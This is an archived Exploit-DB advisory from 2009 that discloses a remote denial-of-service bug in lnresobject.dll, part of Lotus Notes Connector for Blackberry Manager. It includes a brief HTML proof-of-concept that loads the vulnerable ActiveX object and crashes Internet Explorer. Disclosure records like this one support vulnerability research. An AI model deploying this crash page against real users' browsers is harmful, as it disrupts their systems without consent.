Lotus note connector for Blackberry Manager 5.0.0.11

vendor:

Notes Connector

by:

Francis Provencher

N/A

CVSS

N/A

DoS

N/A

CWE

Product Name: Notes Connector

Affected Version From: 7.1.1.119

Affected Version To: 7.1.1.119

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional French SP2 and SP3

2009

Lotus note connector for Blackberry Manager 5.0.0.11

Notes Connector is an easy to use tool that allows you to instantly synchronize all your Lotus Notes email. A remote DoS vulnerability exists in lnresobject.dll version 7.1.1.119, which can be exploited by a malicious user to crash the application.

Mitigation:

N/A

Source

Exploit-DB raw data:

#####################################################################################

Application:  Lotus note connector for Blackberry Manager 5.0.0.11 (And maybe other application that use it..)
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 8.0.6001.18702
	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Notes Connector is an easy to use tool that allows you to instantly synchronize all your Lotus Notes email. 

#####################################################################################

============================
2) Technical details 
============================

Name:	lnresobject.dll
Ver.:	7.1.1.119
CLSID:	{158CD9E8-E195-4E82-9A78-0CF6B86B3629}



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html><body>
<object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object>
</body></html>

#####################################################################################

# milw0rm.com [2009-08-25]